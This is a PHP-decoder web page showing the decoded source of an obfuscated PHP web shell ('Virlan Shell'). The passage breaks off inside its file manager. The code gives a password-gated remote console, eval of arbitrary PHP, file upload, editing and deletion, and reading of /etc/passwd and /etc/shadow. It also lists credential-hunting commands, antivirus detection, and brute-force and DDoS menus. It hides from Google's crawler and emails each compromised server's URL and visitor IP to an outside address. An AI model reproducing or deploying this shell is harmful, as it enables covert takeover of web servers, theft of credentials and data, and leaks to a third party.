Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* Arquivo Protect Por N0V3 , 2015 . */$OOO000000=urldecode('%66%67%36%73%62%65%68%7..

Decoded Output download


$auth_pass = "c0b2272e61213b61d2ad11e2b602de0e";
$color = "#FECD01";
$default_action = 'FilesMan';
@define('SELF_PATH','index.php');
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION','Ver 3.0');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ?array_map('stripslashes_array',$array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
echo '<style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <center><form method=post><input type=password name=pass></form></center>';
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) &&( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\","/",$home_cwd);
$cwd = str_replace("\","/",$cwd);
}
if( $cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if($os == 'win') {
$aliases = array(
"List Directory"=>"dir",
"Find index.php in current dir"=>"dir /s /w /b index.php",
"Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
"Show active connections"=>"netstat -an",
"Show running services"=>"net start",
"User accounts"=>"net user",
"Show computers"=>"net view",
"ARP Table"=>"arp -a",
"IP Configuration"=>"ipconfig /all"
);
}else {
$aliases = array(
"List dir"=>"ls -la",
"list file attributes on a Linux second extended file system"=>"lsattr -va",
"show opened ports"=>"netstat -an | grep -i listen",
"Find"=>"",
"find all suid files"=>"find / -type f -perm -04000 -ls",
"find suid files in current dir"=>"find . -type f -perm -04000 -ls",
"find all sgid files"=>"find / -type f -perm -02000 -ls",
"find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
"find config.inc.php files"=>"find / -type f -name config.inc.php",
"find config* files"=>"find / -type f -name \"config*\"",
"find config* files in current dir"=>"find . -type f -name \"config*\"",
"find all writable folders and files"=>"find / -perm -2 -ls",
"find all writable folders and files in current dir"=>"find . -perm -2 -ls",
"find all service.pwd files"=>"find / -type f -name service.pwd",
"find service.pwd files in current dir"=>"find . -type f -name service.pwd",
"find all .htpasswd files"=>"find / -type f -name .htpasswd",
"find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
"find all .bash_history files"=>"find / -type f -name .bash_history",
"find .bash_history files in current dir"=>"find . -type f -name .bash_history",
"find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
"Locate"=>"",
"locate httpd.conf files"=>"locate httpd.conf",
"locate vhosts.conf files"=>"locate vhosts.conf",
"locate proftpd.conf files"=>"locate proftpd.conf",
"locate psybnc.conf files"=>"locate psybnc.conf",
"locate my.conf files"=>"locate my.conf",
"locate admin.php files"=>"locate admin.php",
"locate cfg.php files"=>"locate cfg.php",
"locate conf.php files"=>"locate conf.php",
"locate config.dat files"=>"locate config.dat",
"locate config.php files"=>"locate config.php",
"locate config.inc files"=>"locate config.inc",
"locate config.inc.php"=>"locate config.inc.php",
"locate config.default.php files"=>"locate config.default.php",
"locate config* files "=>"locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files"=>"locate '.pwd'",
"locate .sql files"=>"locate '.sql'",
"locate .htpasswd files"=>"locate '.htpasswd'",
"locate .bash_history files"=>"locate '.bash_history'",
"locate .mysql_history files"=>"locate '.mysql_history'",
"locate .fetchmailrc files"=>"locate '.fetchmailrc'",
"locate backup files"=>"locate backup",
"locate dump files"=>"locate dump",
"locate priv files"=>"locate priv"
);
}
function ex($in) {
$out = '';
if(function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex('which '.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = "UTF-8";
global $color;
echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>[*] Exploited by eu [*]</title>

    <style>
        body {background-color:#222;color:#fff;}
        body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
        span,h1,a    { color:'.$color.' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
        div.content    { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
        a            { text-decoration:none; }
        a:hover        { /*background:#5e5e5e;*/ }
        .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:5px;}
        input, textarea, select    { margin:0;color:#00FFFF;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; }
        .main th    {text-align:left;background-color:#555;font-weight: bold;}
        .main tr:hover{background-color:#5e5e5e;}
        .main td, th{vertical-align:middle;}
        .menu {background: #333;}
        .menu th{padding:5px;font-weight:bold;}
        .menu th:hover{background:#444;}
        .l1 {background-color:#444;}
        pre {font-family:Courier,Monospace;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
        .logo {text-align:center;font-size:60px;}
        .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
        .cpr {margin-bottom:5px;font-weight:bold;}
        .cpb {width:34px;margin:0 5px;}
        .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
        .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
        .npoad td {padding:0;}
    </style>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("'.$_SERVER['REQUEST_URI'].'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
        <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
        <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    </form>';
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get('disable_functions');
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
}else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/",$GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','[D]DoS'=>'Ddos','Mail'=>'Mail','Code Injector'=>'Injector');
if(!empty($GLOBALS['auth_pass']))
$m['SelfKill'] = 'SelfRemove';
$m['Logout'] = 'Logout';
$menu = '';
foreach($m as $k =>$v)
$menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
$drives = "";
if ($GLOBALS['os'] == 'win') {
foreach( range('a','z') as $drive ){
if (is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
$drives .= '<br />: ';
}
if($GLOBALS['os'] == 'nix') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$d0c = "CANT READ named.conf";
}else {
@preg_match_all('/.*?zone "(.*?)" {/',$dominios,$out);
$out = sizeof(array_unique($out[1]));
$d0c = $out."  Domains";
}
}else {
$d0c = " --- ";
}
if($GLOBALS['os'] == 'nix')
{
$usefl = '';$dwnldr = '';
if(!@ini_get('safe_mode')) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item) {if(which($item)) $usefl.= $item.',';}
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2) {if(which($item2)) $dwnldr.= $item2.',';}
}else {
$usefl = ' ------- ';$dwnldr = ' ------- ';
}
}else {
$usefl = ' ------- ';$dwnldr = ' ------- ';
}
echo '<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><img src="https://www.ethicalhacker.net/i/vitals/bhcircle2.gif" id="logo" height="75%" width="90%"/></div><hr style="margin: -5px 13px 2px 17px;width:160px;"><div class="eca1">N0V3</div><div class="eca2">Exploit</div></td>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(),0,120).'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
'<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
'<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
'</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
}
function printFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=#6699ff>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
</table></div></div>
<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">Virlan Shell'.VERSION.', &copy; Priv[8] Shell</div></div>
</div>
</body></html>';
}
if ( !function_exists("posix_getpwuid") &&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false) ) {function posix_getpwuid($p) {return false;}}
if ( !function_exists("posix_getgrgid") &&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false) ) {function posix_getgrgid($p) {return false;}}
if(!isset($_SESSION['trimite'])){
$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
@mail("[email protected]","Shell_teste",$url);
$_SESSION['trimite']=true;
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function perms($p) {
if (($p &0xC000) == 0xC000)$i = 's';
elseif (($p &0xA000) == 0xA000)$i = 'l';
elseif (($p &0x8000) == 0x8000)$i = '-';
elseif (($p &0x6000) == 0x6000)$i = 'b';
elseif (($p &0x4000) == 0x4000)$i = 'd';
elseif (($p &0x2000) == 0x2000)$i = 'c';
elseif (($p &0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p &0x0100) ?'r': '-');
$i .= (($p &0x0080) ?'w': '-');
$i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
$i .= (($p &0x0020) ?'r': '-');
$i .= (($p &0x0010) ?'w': '-');
$i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
$i .= (($p &0x0004) ?'r': '-');
$i .= (($p &0x0002) ?'w': '-');
$i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
elseif (!@is_writable($f))
return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
else
return '<font color=#3399CC><b>'.perms(@fileperms($f)).'</b></font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo '<h1>Server security information</h1><div class=content>';
function showSecParam($n,$v) {
$v = trim($v);
if($v) {
echo '<span>'.$n.': </span>';
if(strpos($v,"
") === false)
echo $v.'<br>';
else
echo '<pre class=ml1>'.$v.'</pre>';
}
}
showSecParam('Server software',@getenv('SERVER_SOFTWARE'));
showSecParam('Disabled PHP Functions',($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
showSecParam('Open base dir',@ini_get('open_basedir'));
showSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
showSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
showSecParam('Supported databases',implode(', ',$temp));
echo '<br>';
if( $GLOBALS['os'] == 'nix') {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
showSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
showSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
showSecParam('OS version',@file_get_contents('/proc/version'));
showSecParam('Distr name',@file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Userful',implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam('Danger',implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item) 
if(which($item)){$temp[]=$item;}
showSecParam('Downloaders',implode(', ',$temp));
echo '<br/>';
showSecParam('Hosts',@file_get_contents('/etc/hosts'));
showSecParam('HDD space',ex('df -h'));
showSecParam('Mount options',@file_get_contents('/etc/fstab'));
}
}else {
showSecParam('OS Version',ex('ver'));
showSecParam('Account Settings',ex('net accounts'));
showSecParam('User Accounts',ex('net user'));
}
echo '</div>';
printFooter();
}
function actionPhp() {
if( isset($_POST['ajax']) ) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
echo strlen($temp),"
",$temp;
exit;
}
printHeader();
if( isset($_POST['p2']) &&($_POST['p2'] == 'info') ) {
echo '<h1>PHP info</h1><div class=content>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!body {.*}!msiU','',$tmp);
$tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
$tmp = preg_replace('!h1!msiU','h2',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
$tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
echo $tmp;
echo '</div><br>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
printFooter();
}
function actionFilesMan() {
printHeader();
echo '<h1>File manager</h1><div class=content>';
if(isset($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))
echo "Can't upload file!";
break;
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ?$path:$path.'/';
$dh  = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") ||(basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f,$d.$s.'/');
}
}elseif(is_file($c.$s)) {
@copy($c.$s,$d.$s);
}
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['cwd'],$f,$GLOBALS['cwd']);
}elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.'/',$f,$d.$s.'/');
}
}elseif(is_file($c.$s)) {
@copy($c.$s,$d.$s);
}
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['cwd'].$f,$GLOBALS['cwd'].$f);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1']) &&(($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k =>$f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['cwd'] = @$_POST['c'];
}
break;
}
echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) {echo 'Can\'t open this folder!';return;}
global $sort;
$sort = array('name',1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))
$sort = array($match[1],(int)$match[2]);
}
echo '<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>';
echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name'=>$dirContent[$i],
'path'=>$GLOBALS['cwd'].$dirContent[$i],
'modify'=>@date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
'perms'=>viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
$files[] = array_merge($tmp,array('type'=>'file'));
elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
$links[] = array_merge($tmp,array('type'=>'link'));
elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&&($dirContent[$i] != "."))
$dirs[] = array_merge($tmp,array('type'=>'dir'));
}
$GLOBALS['sort'] = $sort;
function cmp($a,$b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp($a[$GLOBALS['sort'][0]],$b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] <$b['size']) ?-1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files,"cmp");
usort($dirs,"cmp");
usort($links,"cmp");
$files = array_merge($dirs,$links,$files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo '<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
    <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>';}
